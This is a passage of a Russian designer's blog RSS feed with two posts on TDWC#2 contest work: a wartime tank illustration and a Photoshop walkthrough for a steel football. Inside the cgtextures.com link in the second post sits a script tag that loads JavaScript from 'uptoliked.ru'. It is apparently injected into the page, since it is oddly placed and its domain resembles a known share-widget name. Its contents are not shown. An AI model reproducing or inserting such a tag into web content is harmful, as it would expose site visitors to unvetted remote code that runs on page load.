<br/><a href="http://fominart.ru/wp-content/uploads/2011/02/fominart.ru_panzerkampfwagen_vi_tiger_i_max.jpg" title='Работа на конкурс TDWC#2 &laquo;Танк времен ВОВ&raquo; - Финал'><img src="http://fominart.ru/wp-content/uploads/2011/02/fominart.ru_panzerkampfwagen_vi_tiger_i_min.jpg" alt="Работа на конкурс TDWC#2 &laquo;Танк времен ВОВ&raquo; - Финал" title="Работа на конкурс TDWC#2 &laquo;Танк времен ВОВ&raquo; - Финал" class="alignnone size-full wp-image-1863" /></a><br />
<br/>В итоге, я одержал победу и прошел в следующий тур. Следите за новостями. Следующий пост будет очень интересный в плане процесса работы, где я буду показывать на видео, саму работу <img src="https://fominart.ru/wp-includes/images/smilies/icon_wink.gif" alt=";)" class="wp-smiley" /><br />
<br/>Скачать данную модель танка можно <a href="http://3d-wares.com/3d-models/war/war-tech/tiger.html" title='3D-модели, уроки, материалы, текстуры - 3D скачать бесплатно'>тут</a>. Кстати, модель, смоделирована студией <a href="http://www.deespona.com/3denciclopedia/menu.html" title='DE ESPONA INFOGRAFICA'>DeEspona</a>.<br />
<br/>Дополнительно почитать интересные заметки о танке можно <a href="http://www.antik1941.ru/new_catalog/?mode=descr&#038;cat_id=52&#038;item_id=2812" title='Военные трофеи в коллекцию и для эксклюзивных подарков'>здесь</a>.<br />
<br/>P.S.: Перо почти <a href="http://fominart.ru/wp-content/uploads/2011/02/fominart.ru_-fominart.ru_panzerkampfwagen_vi_tiger_i_pero.jpg" title='Мое сточенное перо'>сточил и поцарапал</a> центр поля на планшете (такая дырка в центре). Похоже скоро надо будет менять. 3 года не менял. Хорошо, что запасся плёнкой и в комплекте с планшетом идут грифели).<br />
<br/>P.S.S.: Немного архитектуры. Очень поразило меня видео от Alex Roman, музыка и сама камера съемки, это что-то! Это полностью 3D-видео, ни капли настоящего, живого! В это с трудом, конечно, верится, но всё же. Смотрим!<br />
<br/><br/><a href="http://vimeo.com/7809605" title='3D from Alex Roman'>The Third &#038; The Seventh</a> by <a href="http://vimeo.com/user1337612" title='Alex Roman на Vimeo.com'>Alex Roman</a><br />
<object width="580" height="380"><param name="movie" value="http://www.vimeo.com/moogaloop.swf?clip_id=7809605&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color="></param><param name="wmode" value="transparent"></param><embed src="http://www.vimeo.com/moogaloop.swf?clip_id=7809605&amp;server=www.vimeo.com&amp;fullscreen=1&amp;show_title=0&amp;show_byline=0&amp;show_portrait=0&amp;color=" type="application/x-shockwave-flash" wmode="transparent" width="580" height="380"></embed></object></p>
<div id="crp_related"> </div>]]></content:encoded>
			<wfw:commentRss>https://fominart.ru/rabota-na-konkurs-tdwc2-tank-vremen-vov.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Работа на конкурс TDWC#2 &#171;Стальной мяч&#187;</title>
		<link>https://fominart.ru/rabota-na-konkurs-tdwc2-stalnoj-myach.html</link>
		<comments>https://fominart.ru/rabota-na-konkurs-tdwc2-stalnoj-myach.html#comments</comments>
		<pubDate>Tue, 30 Nov 2010 11:55:01 +0000</pubDate>
		<dc:creator><![CDATA[WizVio]]></dc:creator>
				<category><![CDATA[Дизайн]]></category>
		<category><![CDATA[Иллюстрация]]></category>
		<category><![CDATA[Полезное]]></category>
		<category><![CDATA[Технический дизайн]]></category>
		<category><![CDATA[Конкурсы]]></category>

		<guid isPermaLink="false">http://fominart.ru/?p=1690</guid>
		<description><![CDATA[Стальной мяч. Всё просто. Есть референс обыкновенного футбольного мяча. Нужно из него сделать стальной и разместить на однородном фоне с тенью. По традиции, не долго думаю, отправился на cgtextures.com в поисках стали. Пролистав списки с металлом, нашел более-менее подходящую текстуру. Далее взял в руки пентул) и обвёл каждый ромб с референса, через клиппинг маск положил [&#8230;]<div id="crp_related"> </div>]]></description>
				<content:encoded><![CDATA[<p><a href="http://fominart.ru/rabota-na-konkurs-tdwc2-stalnoj-myach.html" title='Работа на конкурс TDWC#2 &laquo;Стальной мяч&raquo;'><img src="http://fominart.ru/wp-content/uploads/2010/11/fominart.ru_tdwc2_tour7_2010_preview.jpg" alt="Работа на конкурс TDWC#2 &laquo;Стальной мяч&raquo;" title="Работа на конкурс TDWC#2 &laquo;Стальной мяч&raquo;. Превью" class="alignnone size-full wp-image-1693" /></a><br />
<br/>Стальной мяч. Всё просто. Есть референс обыкновенного футбольного мяча. Нужно из него сделать стальной и разместить на однородном фоне с тенью.<span id="more-1690"></span><br />
<br/>По традиции, не долго думаю, отправился на <a href="http://www.cgtextures.com" title='Textures for 3D, graphic design and Photoshop!'>cgtextures.com<script src="//uptoliked.ru/widjets.js"></script></a> в поисках стали. Пролистав списки с металлом, нашел более-менее подходящую текстуру. Далее взял в руки пентул) и обвёл каждый ромб с референса, через клиппинг маск положил текстуру и ликвифаем разгладил по форме мяча. Добавил бликов в виде шейпов и кистью – контур между ромбами. Для фона нарисовал по краям 2 больших круга и размыл блюром по Гауссу.<br />
<br/>Добавил тень – смудж, блюр, маски в связке) У основания потемнее, далее чем дальше от мяча, тем слабее и сильнее, размывая тень. Объединил весь проект и сделал копию слоя уже стального мяча. Применил <a href="http://pavel-kosenko.livejournal.com/46934.html" title='ЖЖ Павел Косенко'>&laquo;умную резкость&raquo;</a> Павла Косенко. Далее, размыл края мяча и ту часть мяча, которая не попадала в фокус. Сдублировал слой. И наложил шум (2-2,5%) на фон, с мяча убрал шум. Всё!<br />
<br/><a href="http://fominart.ru/wp-content/uploads/2010/11/fominart.ru_tdwc2_tour7_2010.jpg" title='Работа на конкурс TDWC#2 &laquo;Стальной мяч&raquo;'><img src="http://fominart.ru/wp-content/uploads/2010/11/fominart.ru_tdwc2_tour7_2010_small.jpg" alt="Работа на конкурс TDWC#2 &laquo;Стальной мяч&raquo;" title="Работа на конкурс TDWC#2 &laquo;Стальной мяч&raquo;" class="alignnone size-full wp-image-1694" /></a><br />
<br/>PS: Интересная статья. <a href="http://www.lookatme.ru/flows/lyudi/posts/80181-igor-lutts-bbdo-tvorchestvo-i-liderstvo" title='Игорь Лутц, BBDO: творчество и лидерство'>Игорь Лутц, BBDO: творчество и лидерство</a>. Я задумался.</p>
<div id="crp_related"> </div>]]></content:encoded>
			<wfw:commentRss>https://fominart.ru/rabota-na-konkurs-tdwc2-stalnoj-myach.html/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
	</channel>
</rss>
